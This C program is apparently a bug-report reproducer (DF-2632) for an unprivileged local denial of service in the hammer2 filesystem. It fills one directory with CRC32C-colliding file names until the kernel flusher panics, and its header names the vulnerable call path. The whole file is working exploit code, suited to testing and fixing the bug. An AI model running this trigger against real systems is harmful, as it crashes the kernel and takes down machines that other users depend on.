/*
 * DF-2632 — standalone dense-dirent fill trigger (unprivileged local DoS).
 *
 * Fills one hammer2 directory with names generated by gen_names.c (all
 * sharing one CRC32C, hence one 64K dirhash collision window).  The
 * flusher's indirect-block maintenance path
 * (hammer2_flush_core -> hammer2_chain_indirect_maintenance ->
 *  hammer2_chain_rename_obref -> hammer2_base_insert)
 * panics with "insert base %p overlapping elements" /
 * "td_critcount is/would-go negative" (INVARIANTS) once the window gets
 * dense enough.
 *
 * Progress is printed (and flushed) after every <batch> creations so the
 * panic-time dirent count is recoverable from the captured stdout even
 * though the ssh session dies with the guest.
 *
 * usage: fill2632 <dir> <names-file> [batch]
 */
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

int
main(int argc, char **argv)
{
	FILE *nf;
	char name[256];
	const char *dir;
	long created = 0, errors = 0;
	long batch = 256;
	int fd;

	if (argc < 3 || argc > 4) {
		fprintf(stderr, "usage: %s <dir> <names-file> [batch]\n",
		    argv[0]);
		return 2;
	}
	dir = argv[1];
	if (argc == 4)
		batch = atol(argv[3]);
	if (batch < 1)
		batch = 1;

	nf = fopen(argv[2], "r");
	if (nf == NULL) {
		perror(argv[2]);
		return 2;
	}
	while (fgets(name, sizeof(name), nf) != NULL) {
		size_t n = strlen(name);
		while (n > 0 && (name[n-1] == '\n' || name[n-1] == '\r'))
			name[--n] = 0;
		if (n == 0)
			continue;
		fd = openat(AT_FDCWD, dir, 0);	/* not used; openat by path */
		(void)fd;
		{
			char path[1024];
			snprintf(path, sizeof(path), "%s/%s", dir, name);
			fd = open(path, O_CREAT | O_EXCL | O_WRONLY, 0644);
		}
		if (fd < 0) {
			++errors;
			if (errors <= 20)
				fprintf(stderr,
				    "create %s failed: %s\n",
				    name, strerror(errno));
		} else {
			++created;
			close(fd);
		}
		if ((created % batch) == 0 && created) {
			sync();
			printf("created=%ld errors=%ld\n", created, errors);
			fflush(stdout);
			fflush(stderr);
		}
	}
	fclose(nf);
	sync();
	printf("DONE created=%ld errors=%ld\n", created, errors);
	fflush(stdout);
	return 0;
}
